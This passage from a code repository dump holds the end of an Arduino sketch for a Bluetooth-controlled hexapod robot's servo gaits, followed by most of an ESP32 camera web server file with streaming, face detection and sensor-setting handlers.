 45 | remoteC controller;
 46 | remoteC getCommandsBT();
 47 | 
 48 | typedef struct
 49 |   {
 50 |       byte id;    
 51 |       byte pin;
 52 |       int dir; // 1 representing forward in space, -1 reprezenting backwards
 53 |       byte middlePos;
 54 |       char elevation; // Low, Medium, Top
 55 |       char side; // Left, Right
 56 |   }  actuator;
 57 | 
 58 | typedef struct
 59 |   {
 60 |     byte id;
 61 |     int dir;
 62 |     byte angle;
 63 |   } 
 64 |   walkStep;
 65 |   
 66 | typedef struct
 67 |   {
 68 |       MegaServo srv;
 69 |       int oldPos;
 70 |       int newPos;
 71 |   }
 72 |   servoStep;
 73 |   
 74 | servoStep servoSequence[18]; // stores steps for smooth mooving function
 75 | int servoSequenceNr = 0;
 76 | 
 77 | // values for adjusting calibrated default middle positions
 78 | // M = medium, T = top
 79 | byte adjustM = 5;
 80 | byte adjustT = 0;
 81 | byte adjustB = -14;
 82 | 
 83 | //motors mappings
 84 | // to increase angle increase middlePos with positive value multiplied by dir
 85 | actuator motors[] =
 86 |             {
 87 |                 {1,  33,  1, 70 + adjustT, 't', 'l'},
 88 |                 {2,  40, -1, 95  - adjustT, 't', 'l'},
 89 |                 {3,  41, -1, 27  - adjustT, 't', 'l'},
 90 |                 {4,  42,  1, 137 + adjustT, 't', 'r'},
 91 |                 {5,  43,  1, 137 + adjustT, 't', 'r'},
 92 |                 {6,  44,  1, 115 + adjustT, 't', 'r'},
 93 |                 {7,  34,  1, 40  + adjustM, 'm', 'l'},
 94 |                 {8,  35,  1, 14  + adjustM, 'm', 'l'},
 95 |                 {9,   3,  1, 18  + adjustM, 'm', 'l'},
 96 |                 {10,  5, -1, 55  - adjustM, 'm', 'r'},
 97 |                 {11,  7, -1, 65  - adjustM, 'm', 'r'},
 98 |                 {12,  6, -1, 55  - adjustM, 'm', 'r'},
 99 |                 {13, 38, -1, 16  - adjustB, 'l', 'l'},
100 |                 {14, 37, -1, 10  - adjustB, 'l', 'l'},
101 |                 {15, 53, -1, 8   - adjustB, 'l', 'l'},
102 |                 {16, 23, -1, 12  - adjustB, 'l', 'r'},
103 |                 {17, 25,  1, 107 + adjustB, 'l', 'r'},
104 |                 {18, 26,  1, 115 + adjustB, 'l', 'r'}             
105 |             };
106 | 
107 | int walkStepCounter = 0; //where does the step left off
108 | //walking gait mapping            
109 | walkStep steps[][6] = 
110 |             {
111 |               {
112 |                 {8, 1, 8},
113 |                 {10, 1, 8},
114 |                 {12, 1, 8}                
115 |               },
116 |               {
117 |                 {2, 1, 8},
118 |                 {4, 1, 8},
119 |                 {6, 1, 8},
120 |                 {1, -1, 8},
121 |                 {3, -1, 8},
122 |                 {5, -1, 8}                
123 |               },
124 |               {
125 |                 {8, -1, 8},
126 |                 {10, -1, 8},
127 |                 {12, -1, 8}                   
128 |               },
129 |               {
130 |                 {7, 1, 8},
131 |                 {9, 1, 8},
132 |                 {11, 1, 8}                
133 |               },
134 |               {
135 |                 {2, -1, 8},
136 |                 {4, -1, 8},
137 |                 {6, -1, 8},
138 |                 {1, 1, 8},
139 |                 {3, 1, 8},
140 |                 {5, 1, 8}                
141 |               },      
142 |               {
143 |                 {7, -1, 8},
144 |                 {9, -1, 8},
145 |                 {11, -1, 8}                
146 |               }              
147 |             };  
148 | 
149 | walkStep sitSteps[12] =
150 |             {
151 |               {7, 1, 75},
152 |               {8, 1, 75},
153 |               {9, 1, 75},
154 |               {10, 1, 75},
155 |               {11, 1, 75},
156 |               {12, 1, 75},
157 |               {13, -1, 80},
158 |               {14, -1, 80},
159 |               {15, -1, 80},
160 |               {16, -1, 80},
161 |               {17, -1, 80},
162 |               {18, -1, 80}
163 |             };
164 | 
165 | void setup() 
166 | { 
167 |     Serial.begin(57600);
168 |   
169 |     for (i=0; i<18; i++) {    
170 |         Servos[i].attach(motors[i].pin, 800, 1800);
171 |     }
172 |     initCommunication();
173 |     struct remoteC controller = {70, 90, ' '};
174 |     resetDefaults();
175 |     Serial.println("Finish initialization");
176 | } 
177 |  
178 | void loop() 
179 | { 
180 |     controller = getCommandsBT(); 
181 |     if (controller.special == inputToggleMotion) {
182 |         resetDefaults();      
183 |         controller.special = ' ';
184 |         hasMotion = !hasMotion;
185 |     }
186 |     if (controller.special == inputToggleElevation) { 
187 |         isUp = isUp == 1 ? 0 : 1; 
188 |         controller.special = ' '; 
189 |         if (isUp) {      
190 |             resetDefaults();  
191 |         } else {                    
192 |             sitDown(40, 25);
193 |         }
194 |     }
195 |     if (hasMotion) {
196 |         finishedCurrentMove = walkForward(controller.direction, controller.speedFactor * 5);
197 |     }
198 | } 
199 | 
200 | void sitDown(int smoothing, int delayBtwMoves)
201 | {
202 |     int i;
203 |     for (i=0; i<12; i++) {
204 |         walkStep stepX = sitSteps[i];
205 |         actuator currActuator = motors[stepX.id - 1];
206 |         Servos[stepX.id - 1].read();
207 |         int newAngle = Servos[stepX.id - 1].read() + stepX.dir * stepX.angle * currActuator.dir;
208 |         addSmoothMove(Servos[stepX.id - 1], newAngle, Servos[stepX.id - 1].read()); 
209 |     }  
210 |     smoothMove(smoothing, delayBtwMoves);
211 |     delay(200);
212 | }
213 | 
214 | /**
215 | * Advance hexapod position by executing steps stored in walkStep variable
216 | *
217 | * @param direction :as follows: 90 forwars moovement, 0 full left, 180 complete right
218 | * @param delayBtwMooves : after each set of walkStep a pause of ms is required 
219 | * @return boolean finishedMoovement
220 | */
221 | boolean walkForward(int direction, int delayBtwMooves)
222 | {  
223 |     Serial.print("step=");Serial.print(walkStepCounter);Serial.print("; ");
224 |     int lastAngle = 0;
225 |     for (j=0; j<6; j++) {
226 |         walkStep step = steps[walkStepCounter][j];
227 |         if (step.id == 0) {
228 |             continue; // skip where array index is not defined
229 |         }
230 |         actuator currActuator = motors[step.id - 1];
231 |         lastAngle = step.angle;  // we need last angle to calculate how smooth is the moove (we presume last angle is same for all motors in gorup)          
232 |         changeAngleWith = calculateAngleFromDirection(direction, step.angle, currActuator.side, currActuator.elevation);
233 |         int newAngle = currActuator.middlePos + currActuator.dir * step.dir * changeAngleWith;
234 |         Serial.print(currActuator.pin);Serial.print("->");Serial.print(newAngle);Serial.print(" "); 
235 |         addSmoothMove(Servos[step.id - 1], newAngle, Servos[step.id - 1].read());        
236 |     }
237 |     Serial.println(" ");Serial.println();
238 |     smoothMove(lastAngle * 2, 8);
239 |     delay(delayBtwMooves);
240 |     walkStepCounter++;
241 |     if (walkStepCounter >= 6) {
242 |         walkStepCounter = 0;
243 |         return true;
244 |     }
245 |     
246 |     return false;    
247 | }
248 | 
249 | int calculateAngleFromDirection(int direction, int defaultAngle, char actuatorSide, char actuatorElevation)
250 | {
251 |     if (actuatorElevation != 't') {
252 |         return defaultAngle; // calculate angle for top actuators, they are the only one that make the turn
253 |     }
254 |     if ( (actuatorSide == 'l' and direction >= 90) || (actuatorSide == 'r' and direction <= 90) ) {
255 |       return defaultAngle; //skips computation if the actuator is located on the other side
256 |     }
257 |     int computedAngle = 0;
258 |     if (direction > 90 && direction <= 145) {
259 |         computedAngle = map(direction, 145, 90, 0, defaultAngle);
260 |     } else if (direction < 90 && direction >= 45) {
261 |         computedAngle = map(direction, 45, 90, 0, defaultAngle);
262 |     } else if (direction < 45 && direction >= 0) {
263 |         computedAngle = map(direction, 45, 0, 0, defaultAngle) * -1;
264 |     } else if (direction > 145 && direction <= 180) {
265 |         computedAngle = map(direction, 145, 180, 0, defaultAngle) * -1;
266 |     }  
267 |     
268 |     return computedAngle;
269 | }
270 | 
271 | void resetDefaults() 
272 | {
273 |     int i, j, k, angle = 0;
274 |     for (i=0; i<18; i++) {    
275 |          for (j=0; j<6; j++) {
276 |            for (k=0; k<6; k++) {
277 |                if (steps[j][k].id == motors[i].id) {
278 |                    angle = steps[j][k].angle;
279 |                    break;
280 |                }             
281 |            }    
282 |            if (angle != 0) {
283 |                break;
284 |            }       
285 |          }
286 |          addSmoothMove(Servos[i], motors[i].middlePos - angle * motors[i].dir, Servos[i].read());
287 |     }  
288 |     smoothMove(25, 30);
289 | }
290 | 
291 | void addSmoothMove(MegaServo servo, int newPosition, int oldPosition)
292 | {
293 |     servoSequence[servoSequenceNr].srv = servo;
294 |     servoSequence[servoSequenceNr].newPos = newPosition;
295 |     servoSequence[servoSequenceNr].oldPos = oldPosition;
296 |     servoSequenceNr++;
297 | }
298 | 
299 | void smoothMove(int nrSteps, int delayBtwMooves)
300 | {
301 |     int i, j;
302 |     for (i = 1; i <= nrSteps; i++) {
303 |         for (j = 0; j < servoSequenceNr; j++) {
304 |             float stepSize = (float) abs(servoSequence[j].newPos - servoSequence[j].oldPos) / (float) nrSteps;
305 |             float newPosition = stepSize * i;
306 |             if (servoSequence[j].newPos > servoSequence[j].oldPos) {
307 |                 newPosition = servoSequence[j].oldPos + newPosition;
308 |                 if (newPosition > servoSequence[j].newPos) {
309 |                     newPosition = servoSequence[j].newPos;
310 |                 }
311 |             } else {
312 |                 newPosition = servoSequence[j].oldPos - newPosition;          
313 |                 if (newPosition < servoSequence[j].newPos) {
314 |                     newPosition = servoSequence[j].newPos;
315 |                 }                
316 |             }          
317 |             //Serial.print(j);Serial.print("->");Serial.print(servoSequence[j].oldPos);Serial.print(",");
318 |             //Serial.print(servoSequence[j].newPos);Serial.print(",");Serial.print(newPosition);Serial.print("; ");
319 |             servoSequence[j].srv.write(newPosition);
320 |         }
321 |         //Serial.println();
322 |         delay(delayBtwMooves);
323 |     }
324 |     servoSequenceNr = 0;
325 | }
326 | 
327 | void initCommunication()
328 | {
329 |     Serial1.begin(9600);
330 |     Serial1.setTimeout(70);
331 | }  
332 | 
333 | struct remoteC getCommandsBT()
334 | { 
335 |      if (Serial1.available() == 0) {  
336 |          return controller;
337 |      }
338 |      Serial.println("Got message");
339 |      Serial1.readBytesUntil('\n', buffer, 4);
340 |      if (buffer[0] == inputToggleMotion || buffer[0] == inputToggleElevation) {
341 |          Serial.print("Received special function: ");Serial.println(buffer[0]);
342 |          controller.special = buffer[0];
343 |          controller.speedFactor = defaultSpeedFactor;
344 |          controller.direction = 80;
345 |          
346 |          return controller; 
347 |      }   
348 |      uint8_t incomingValue = atoi(buffer);      
349 |      controller.speedFactor = defaultSpeedFactor;
350 |      controller.direction = incomingValue; 
351 |      controller.special = ' ';
352 |      Serial.print(controller.speedFactor);Serial.print("____");Serial.println(controller.direction);          
353 |      for (i = 0; i<= 4; i++) {
354 |          buffer[i] = ' ';
355 |      }       
356 |   
357 |     return controller;
358 | }
359 | 
--------------------------------------------------------------------------------
/projects/camera_web_upload/app_httpd.cpp:
--------------------------------------------------------------------------------
  1 | // Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD
  2 | //
  3 | // Licensed under the Apache License, Version 2.0 (the "License");
  4 | // you may not use this file except in compliance with the License.
  5 | // You may obtain a copy of the License at
  6 | //
  7 | //     http://www.apache.org/licenses/LICENSE-2.0
  8 | //
  9 | // Unless required by applicable law or agreed to in writing, software
 10 | // distributed under the License is distributed on an "AS IS" BASIS,
 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 12 | // See the License for the specific language governing permissions and
 13 | // limitations under the License.
 14 | #include "esp_http_server.h"
 15 | #include "esp_timer.h"
 16 | #include "esp_camera.h"
 17 | #include "img_converters.h"
 18 | #include "camera_index.h"
 19 | #include "Arduino.h"
 20 | 
 21 | #include "fb_gfx.h"
 22 | #include "fd_forward.h"
 23 | #include "fr_forward.h"
 24 | 
 25 | #define ENROLL_CONFIRM_TIMES 5
 26 | #define FACE_ID_SAVE_NUMBER 7
 27 | 
 28 | #define FACE_COLOR_WHITE  0x00FFFFFF
 29 | #define FACE_COLOR_BLACK  0x00000000
 30 | #define FACE_COLOR_RED    0x000000FF
 31 | #define FACE_COLOR_GREEN  0x0000FF00
 32 | #define FACE_COLOR_BLUE   0x00FF0000
 33 | #define FACE_COLOR_YELLOW (FACE_COLOR_RED | FACE_COLOR_GREEN)
 34 | #define FACE_COLOR_CYAN   (FACE_COLOR_BLUE | FACE_COLOR_GREEN)
 35 | #define FACE_COLOR_PURPLE (FACE_COLOR_BLUE | FACE_COLOR_RED)
 36 | 
 37 | typedef struct {
 38 |         size_t size; //number of values used for filtering
 39 |         size_t index; //current value index
 40 |         size_t count; //value count
 41 |         int sum;
 42 |         int * values; //array to be filled with values
 43 | } ra_filter_t;
 44 | 
 45 | typedef struct {
 46 |         httpd_req_t *req;
 47 |         size_t len;
 48 | } jpg_chunking_t;
 49 | 
 50 | #define PART_BOUNDARY "123456789000000000000987654321"
 51 | static const char* _STREAM_CONTENT_TYPE = "multipart/x-mixed-replace;boundary=" PART_BOUNDARY;
 52 | static const char* _STREAM_BOUNDARY = "\r\n--" PART_BOUNDARY "\r\n";
 53 | static const char* _STREAM_PART = "Content-Type: image/jpeg\r\nContent-Length: %u\r\n\r\n";
 54 | 
 55 | static ra_filter_t ra_filter;
 56 | httpd_handle_t stream_httpd = NULL;
 57 | httpd_handle_t camera_httpd = NULL;
 58 | 
 59 | static mtmn_config_t mtmn_config = {0};
 60 | static int8_t detection_enabled = 0;
 61 | static int8_t recognition_enabled = 0;
 62 | static int8_t is_enrolling = 0;
 63 | static face_id_list id_list = {0};
 64 | 
 65 | static ra_filter_t * ra_filter_init(ra_filter_t * filter, size_t sample_size){
 66 |     memset(filter, 0, sizeof(ra_filter_t));
 67 | 
 68 |     filter->values = (int *)malloc(sample_size * sizeof(int));
 69 |     if(!filter->values){
 70 |         return NULL;
 71 |     }
 72 |     memset(filter->values, 0, sample_size * sizeof(int));
 73 | 
 74 |     filter->size = sample_size;
 75 |     return filter;
 76 | }
 77 | 
 78 | static int ra_filter_run(ra_filter_t * filter, int value){
 79 |     if(!filter->values){
 80 |         return value;
 81 |     }
 82 |     filter->sum -= filter->values[filter->index];
 83 |     filter->values[filter->index] = value;
 84 |     filter->sum += filter->values[filter->index];
 85 |     filter->index++;
 86 |     filter->index = filter->index % filter->size;
 87 |     if (filter->count < filter->size) {
 88 |         filter->count++;
 89 |     }
 90 |     return filter->sum / filter->count;
 91 | }
 92 | 
 93 | static void rgb_print(dl_matrix3du_t *image_matrix, uint32_t color, const char * str){
 94 |     fb_data_t fb;
 95 |     fb.width = image_matrix->w;
 96 |     fb.height = image_matrix->h;
 97 |     fb.data = image_matrix->item;
 98 |     fb.bytes_per_pixel = 3;
 99 |     fb.format = FB_BGR888;
100 |     fb_gfx_print(&fb, (fb.width - (strlen(str) * 14)) / 2, 10, color, str);
101 | }
102 | 
103 | static int rgb_printf(dl_matrix3du_t *image_matrix, uint32_t color, const char *format, ...){
104 |     char loc_buf[64];
105 |     char * temp = loc_buf;
106 |     int len;
107 |     va_list arg;
108 |     va_list copy;
109 |     va_start(arg, format);
110 |     va_copy(copy, arg);
111 |     len = vsnprintf(loc_buf, sizeof(loc_buf), format, arg);
112 |     va_end(copy);
113 |     if(len >= sizeof(loc_buf)){
114 |         temp = (char*)malloc(len+1);
115 |         if(temp == NULL) {
116 |             return 0;
117 |         }
118 |     }
119 |     vsnprintf(temp, len+1, format, arg);
120 |     va_end(arg);
121 |     rgb_print(image_matrix, color, temp);
122 |     if(len > 64){
123 |         free(temp);
124 |     }
125 |     return len;
126 | }
127 | 
128 | static void draw_face_boxes(dl_matrix3du_t *image_matrix, box_array_t *boxes, int face_id){
129 |     int x, y, w, h, i;
130 |     uint32_t color = FACE_COLOR_YELLOW;
131 |     if(face_id < 0){
132 |         color = FACE_COLOR_RED;
133 |     } else if(face_id > 0){
134 |         color = FACE_COLOR_GREEN;
135 |     }
136 |     fb_data_t fb;
137 |     fb.width = image_matrix->w;
138 |     fb.height = image_matrix->h;
139 |     fb.data = image_matrix->item;
140 |     fb.bytes_per_pixel = 3;
141 |     fb.format = FB_BGR888;
142 |     for (i = 0; i < boxes->len; i++){
143 |         // rectangle box
144 |         x = (int)boxes->box[i].box_p[0];
145 |         y = (int)boxes->box[i].box_p[1];
146 |         w = (int)boxes->box[i].box_p[2] - x + 1;
147 |         h = (int)boxes->box[i].box_p[3] - y + 1;
148 |         fb_gfx_drawFastHLine(&fb, x, y, w, color);
149 |         fb_gfx_drawFastHLine(&fb, x, y+h-1, w, color);
150 |         fb_gfx_drawFastVLine(&fb, x, y, h, color);
151 |         fb_gfx_drawFastVLine(&fb, x+w-1, y, h, color);
152 | #if 0
153 |         // landmark
154 |         int x0, y0, j;
155 |         for (j = 0; j < 10; j+=2) {
156 |             x0 = (int)boxes->landmark[i].landmark_p[j];
157 |             y0 = (int)boxes->landmark[i].landmark_p[j+1];
158 |             fb_gfx_fillRect(&fb, x0, y0, 3, 3, color);
159 |         }
160 | #endif
161 |     }
162 | }
163 | 
164 | static int run_face_recognition(dl_matrix3du_t *image_matrix, box_array_t *net_boxes){
165 |     dl_matrix3du_t *aligned_face = NULL;
166 |     int matched_id = 0;
167 | 
168 |     aligned_face = dl_matrix3du_alloc(1, FACE_WIDTH, FACE_HEIGHT, 3);
169 |     if(!aligned_face){
170 |         Serial.println("Could not allocate face recognition buffer");
171 |         return matched_id;
172 |     }
173 |     if (align_face(net_boxes, image_matrix, aligned_face) == ESP_OK){
174 |         if (is_enrolling == 1){
175 |             int8_t left_sample_face = enroll_face(&id_list, aligned_face);
176 | 
177 |             if(left_sample_face == (ENROLL_CONFIRM_TIMES - 1)){
178 |                 Serial.printf("Enrolling Face ID: %d\n", id_list.tail);
179 |             }
180 |             Serial.printf("Enrolling Face ID: %d sample %d\n", id_list.tail, ENROLL_CONFIRM_TIMES - left_sample_face);
181 |             rgb_printf(image_matrix, FACE_COLOR_CYAN, "ID[%u] Sample[%u]", id_list.tail, ENROLL_CONFIRM_TIMES - left_sample_face);
182 |             if (left_sample_face == 0){
183 |                 is_enrolling = 0;
184 |                 Serial.printf("Enrolled Face ID: %d\n", id_list.tail);
185 |             }
186 |         } else {
187 |             matched_id = recognize_face(&id_list, aligned_face);
188 |             if (matched_id >= 0) {
189 |                 Serial.printf("Match Face ID: %u\n", matched_id);
190 |                 rgb_printf(image_matrix, FACE_COLOR_GREEN, "Hello Subject %u", matched_id);
191 |             } else {
192 |                 Serial.println("No Match Found");
193 |                 rgb_print(image_matrix, FACE_COLOR_RED, "Intruder Alert!");
194 |                 matched_id = -1;
195 |             }
196 |         }
197 |     } else {
198 |         Serial.println("Face Not Aligned");
199 |         //rgb_print(image_matrix, FACE_COLOR_YELLOW, "Human Detected");
200 |     }
201 | 
202 |     dl_matrix3du_free(aligned_face);
203 |     return matched_id;
204 | }
205 | 
206 | static size_t jpg_encode_stream(void * arg, size_t index, const void* data, size_t len){
207 |     jpg_chunking_t *j = (jpg_chunking_t *)arg;
208 |     if(!index){
209 |         j->len = 0;
210 |     }
211 |     if(httpd_resp_send_chunk(j->req, (const char *)data, len) != ESP_OK){
212 |         return 0;
213 |     }
214 |     j->len += len;
215 |     return len;
216 | }
217 | 
218 | static esp_err_t capture_handler(httpd_req_t *req){
219 |     camera_fb_t * fb = NULL;
220 |     esp_err_t res = ESP_OK;
221 |     int64_t fr_start = esp_timer_get_time();
222 | 
223 |     fb = esp_camera_fb_get();
224 |     if (!fb) {
225 |         Serial.println("Camera capture failed");
226 |         httpd_resp_send_500(req);
227 |         return ESP_FAIL;
228 |     }
229 | 
230 |     httpd_resp_set_type(req, "image/jpeg");
231 |     httpd_resp_set_hdr(req, "Content-Disposition", "inline; filename=capture.jpg");
232 |     httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
233 | 
234 |     size_t out_len, out_width, out_height;
235 |     uint8_t * out_buf;
236 |     bool s;
237 |     bool detected = false;
238 |     int face_id = 0;
239 |     if(!detection_enabled || fb->width > 400){
240 |         size_t fb_len = 0;
241 |         if(fb->format == PIXFORMAT_JPEG){
242 |             fb_len = fb->len;
243 |             res = httpd_resp_send(req, (const char *)fb->buf, fb->len);
244 |         } else {
245 |             jpg_chunking_t jchunk = {req, 0};
246 |             res = frame2jpg_cb(fb, 80, jpg_encode_stream, &jchunk)?ESP_OK:ESP_FAIL;
247 |             httpd_resp_send_chunk(req, NULL, 0);
248 |             fb_len = jchunk.len;
249 |         }
250 |         esp_camera_fb_return(fb);
251 |         int64_t fr_end = esp_timer_get_time();
252 |         Serial.printf("JPG: %uB %ums\n", (uint32_t)(fb_len), (uint32_t)((fr_end - fr_start)/1000));
253 |         return res;
254 |     }
255 | 
256 |     dl_matrix3du_t *image_matrix = dl_matrix3du_alloc(1, fb->width, fb->height, 3);
257 |     if (!image_matrix) {
258 |         esp_camera_fb_return(fb);
259 |         Serial.println("dl_matrix3du_alloc failed");
260 |         httpd_resp_send_500(req);
261 |         return ESP_FAIL;
262 |     }
263 | 
264 |     out_buf = image_matrix->item;
265 |     out_len = fb->width * fb->height * 3;
266 |     out_width = fb->width;
267 |     out_height = fb->height;
268 | 
269 |     s = fmt2rgb888(fb->buf, fb->len, fb->format, out_buf);
270 |     esp_camera_fb_return(fb);
271 |     if(!s){
272 |         dl_matrix3du_free(image_matrix);
273 |         Serial.println("to rgb888 failed");
274 |         httpd_resp_send_500(req);
275 |         return ESP_FAIL;
276 |     }
277 | 
278 |     box_array_t *net_boxes = face_detect(image_matrix, &mtmn_config);
279 | 
280 |     if (net_boxes){
281 |         detected = true;
282 |         if(recognition_enabled){
283 |             face_id = run_face_recognition(image_matrix, net_boxes);
284 |         }
285 |         draw_face_boxes(image_matrix, net_boxes, face_id);
286 |         free(net_boxes->score);
287 |         free(net_boxes->box);
288 |         free(net_boxes->landmark);
289 |         free(net_boxes);
290 |     }
291 | 
292 |     jpg_chunking_t jchunk = {req, 0};
293 |     s = fmt2jpg_cb(out_buf, out_len, out_width, out_height, PIXFORMAT_RGB888, 90, jpg_encode_stream, &jchunk);
294 |     dl_matrix3du_free(image_matrix);
295 |     if(!s){
296 |         Serial.println("JPEG compression failed");
297 |         return ESP_FAIL;
298 |     }
299 | 
300 |     int64_t fr_end = esp_timer_get_time();
301 |     Serial.printf("FACE: %uB %ums %s%d\n", (uint32_t)(jchunk.len), (uint32_t)((fr_end - fr_start)/1000), detected?"DETECTED ":"", face_id);
302 |     return res;
303 | }
304 | 
305 | static esp_err_t stream_handler(httpd_req_t *req){
306 |     camera_fb_t * fb = NULL;
307 |     esp_err_t res = ESP_OK;
308 |     size_t _jpg_buf_len = 0;
309 |     uint8_t * _jpg_buf = NULL;
310 |     char * part_buf[64];
311 |     dl_matrix3du_t *image_matrix = NULL;
312 |     bool detected = false;
313 |     int face_id = 0;
314 |     int64_t fr_start = 0;
315 |     int64_t fr_ready = 0;
316 |     int64_t fr_face = 0;
317 |     int64_t fr_recognize = 0;
318 |     int64_t fr_encode = 0;
319 | 
320 |     static int64_t last_frame = 0;
321 |     if(!last_frame) {
322 |         last_frame = esp_timer_get_time();
323 |     }
324 | 
325 |     res = httpd_resp_set_type(req, _STREAM_CONTENT_TYPE);
326 |     if(res != ESP_OK){
327 |         return res;
328 |     }
329 | 
330 |     httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*");
331 | 
332 |     while(true){
333 |         detected = false;
334 |         face_id = 0;
335 |         fb = esp_camera_fb_get();
336 |         if (!fb) {
337 |             Serial.println("Camera capture failed");
338 |             res = ESP_FAIL;
339 |         } else {
340 |             fr_start = esp_timer_get_time();
341 |             fr_ready = fr_start;
342 |             fr_face = fr_start;
343 |             fr_encode = fr_start;
344 |             fr_recognize = fr_start;
345 |             if(!detection_enabled || fb->width > 400){
346 |                 if(fb->format != PIXFORMAT_JPEG){
347 |                     bool jpeg_converted = frame2jpg(fb, 80, &_jpg_buf, &_jpg_buf_len);
348 |                     esp_camera_fb_return(fb);
349 |                     fb = NULL;
350 |                     if(!jpeg_converted){
351 |                         Serial.println("JPEG compression failed");
352 |                         res = ESP_FAIL;
353 |                     }
354 |                 } else {
355 |                     _jpg_buf_len = fb->len;
356 |                     _jpg_buf = fb->buf;
357 |                 }
358 |             } else {
359 | 
360 |                 image_matrix = dl_matrix3du_alloc(1, fb->width, fb->height, 3);
361 | 
362 |                 if (!image_matrix) {
363 |                     Serial.println("dl_matrix3du_alloc failed");
364 |                     res = ESP_FAIL;
365 |                 } else {
366 |                     if(!fmt2rgb888(fb->buf, fb->len, fb->format, image_matrix->item)){
367 |                         Serial.println("fmt2rgb888 failed");
368 |                         res = ESP_FAIL;
369 |                     } else {
370 |                         fr_ready = esp_timer_get_time();
371 |                         box_array_t *net_boxes = NULL;
372 |                         if(detection_enabled){
373 |                             net_boxes = face_detect(image_matrix, &mtmn_config);
374 |                         }
375 |                         fr_face = esp_timer_get_time();
376 |                         fr_recognize = fr_face;
377 |                         if (net_boxes || fb->format != PIXFORMAT_JPEG){
378 |                             if(net_boxes){
379 |                                 detected = true;
380 |                                 if(recognition_enabled){
381 |                                     face_id = run_face_recognition(image_matrix, net_boxes);
382 |                                 }
383 |                                 fr_recognize = esp_timer_get_time();
384 |                                 draw_face_boxes(image_matrix, net_boxes, face_id);
385 |                                 free(net_boxes->score);
386 |                                 free(net_boxes->box);
387 |                                 free(net_boxes->landmark);
388 |                                 free(net_boxes);
389 |                             }
390 |                             if(!fmt2jpg(image_matrix->item, fb->width*fb->height*3, fb->width, fb->height, PIXFORMAT_RGB888, 90, &_jpg_buf, &_jpg_buf_len)){
391 |                                 Serial.println("fmt2jpg failed");
392 |                                 res = ESP_FAIL;
393 |                             }
394 |                             esp_camera_fb_return(fb);
395 |                             fb = NULL;
396 |                         } else {
397 |                             _jpg_buf = fb->buf;
398 |                             _jpg_buf_len = fb->len;
399 |                         }
400 |                         fr_encode = esp_timer_get_time();
401 |                     }
402 |                     dl_matrix3du_free(image_matrix);
403 |                 }
404 |             }
405 |         }
406 |         if(res == ESP_OK){
407 |             size_t hlen = snprintf((char *)part_buf, 64, _STREAM_PART, _jpg_buf_len);
408 |             res = httpd_resp_send_chunk(req, (const char *)part_buf, hlen);
409 |         }
410 |         if(res == ESP_OK){
411 |             res = httpd_resp_send_chunk(req, (const char *)_jpg_buf, _jpg_buf_len);
412 |         }
413 |         if(res == ESP_OK){
414 |             res = httpd_resp_send_chunk(req, _STREAM_BOUNDARY, strlen(_STREAM_BOUNDARY));
415 |         }
416 |         if(fb){
417 |             esp_camera_fb_return(fb);
418 |             fb = NULL;
419 |             _jpg_buf = NULL;
420 |         } else if(_jpg_buf){
421 |             free(_jpg_buf);
422 |             _jpg_buf = NULL;
423 |         }
424 |         if(res != ESP_OK){
425 |             break;
426 |         }
427 |         int64_t fr_end = esp_timer_get_time();
428 | 
429 |         int64_t ready_time = (fr_ready - fr_start)/1000;
430 |         int64_t face_time = (fr_face - fr_ready)/1000;
431 |         int64_t recognize_time = (fr_recognize - fr_face)/1000;
432 |         int64_t encode_time = (fr_encode - fr_recognize)/1000;
433 |         int64_t process_time = (fr_encode - fr_start)/1000;
434 |         
435 |         int64_t frame_time = fr_end - last_frame;
436 |         last_frame = fr_end;
437 |         frame_time /= 1000;
438 |         uint32_t avg_frame_time = ra_filter_run(&ra_filter, frame_time);
439 |         Serial.printf("MJPG: %uB %ums (%.1ffps), AVG: %ums (%.1ffps), %u+%u+%u+%u=%u %s%d\n",
440 |             (uint32_t)(_jpg_buf_len),
441 |             (uint32_t)frame_time, 1000.0 / (uint32_t)frame_time,
442 |             avg_frame_time, 1000.0 / avg_frame_time,
443 |             (uint32_t)ready_time, (uint32_t)face_time, (uint32_t)recognize_time, (uint32_t)encode_time, (uint32_t)process_time,
444 |             (detected)?"DETECTED ":"", face_id
445 |         );
446 |     }
447 | 
448 |     last_frame = 0;
449 |     return res;
450 | }
451 | 
452 | static esp_err_t cmd_handler(httpd_req_t *req){
453 |     char*  buf;
454 |     size_t buf_len;
455 |     char variable[32] = {0,};
456 |     char value[32] = {0,};
457 | 
458 |     buf_len = httpd_req_get_url_query_len(req) + 1;
459 |     if (buf_len > 1) {
460 |         buf = (char*)malloc(buf_len);
461 |         if(!buf){
462 |             httpd_resp_send_500(req);
463 |             return ESP_FAIL;
464 |         }
465 |         if (httpd_req_get_url_query_str(req, buf, buf_len) == ESP_OK) {
466 |             if (httpd_query_key_value(buf, "var", variable, sizeof(variable)) == ESP_OK &&
467 |                 httpd_query_key_value(buf, "val", value, sizeof(value)) == ESP_OK) {
468 |             } else {
469 |                 free(buf);
470 |                 httpd_resp_send_404(req);
471 |                 return ESP_FAIL;
472 |             }
473 |         } else {
474 |             free(buf);
475 |             httpd_resp_send_404(req);
476 |             return ESP_FAIL;
477 |         }
478 |         free(buf);
479 |     } else {
480 |         httpd_resp_send_404(req);
481 |         return ESP_FAIL;
482 |     }
483 | 
484 |     int val = atoi(value);
485 |     sensor_t * s = esp_camera_sensor_get();
486 |     int res = 0;
487 | 
488 |     if(!strcmp(variable, "framesize")) {
489 |         if(s->pixformat == PIXFORMAT_JPEG) res = s->set_framesize(s, (framesize_t)val);
490 |     }
491 |     else if(!strcmp(variable, "quality")) res = s->set_quality(s, val);
492 |     else if(!strcmp(variable, "contrast")) res = s->set_contrast(s, val);
493 |     else if(!strcmp(variable, "brightness")) res = s->set_brightness(s, val);
494 |     else if(!strcmp(variable, "saturation")) res = s->set_saturation(s, val);
495 |     else if(!strcmp(variable, "gainceiling")) res = s->set_gainceiling(s, (gainceiling_t)val);
496 |     else if(!strcmp(variable, "colorbar")) res = s->set_colorbar(s, val);
497 |     else if(!strcmp(variable, "awb")) res = s->set_whitebal(s, val);
498 |     else if(!strcmp(variable, "agc")) res = s->set_gain_ctrl(s, val);
499 |     else if(!strcmp(variable, "aec")) res = s->set_exposure_ctrl(s, val);
500 |     else if(!strcmp(variable, "hmirror")) res = s->set_hmirror(s, val);
501 |     else if(!strcmp(variable, "vflip")) res = s->set_vflip(s, val);
502 |     else if(!strcmp(variable, "awb_gain")) res = s->set_awb_gain(s, val);
